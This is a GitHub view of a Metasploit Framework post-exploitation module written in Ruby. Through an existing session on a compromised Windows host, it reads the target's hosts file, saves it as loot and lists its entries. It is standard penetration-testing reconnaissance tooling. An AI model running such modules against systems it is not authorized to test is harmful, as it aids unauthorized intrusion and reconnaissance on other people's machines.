forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathenum_hostfile.rb
73 lines (61 loc) · 1.56 KB
/
enum_hostfile.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Post
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Windows Host File Enumeration',
'Description' => %q{
This module returns a list of entries in the target system's hosts file.
},
'License' => BSD_LICENSE,
'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
end
def run
# read in the hosts in the hosts file.
fd = session.fs.file.new("C:\\WINDOWS\\System32\\drivers\\etc\\hosts", "rb")
# Load up the original hosts file
buf = ''
until fd.eof?
buf << fd.read
end
# Finished loading the hosts file, close fd
fd.close
# Store the original hosts file
p = store_loot(
'hosts.confige',
'text/plain',
session,
buf,
'hosts_file.txt',
'Windows Hosts File'
)
# Split lines
lines = buf.split("\n")
# Print out each line that doesn't start w/ a comment
entries = []
lines.each do |line|
next if line =~ /^[\r|\n|#]/
entries << line
end
# Show results
if not entries.empty?
print_line("Found entries:")
entries.each do |e|
print_good(e.to_s)
end
end
print_status("Hosts file saved: #{p.to_s}")
end
end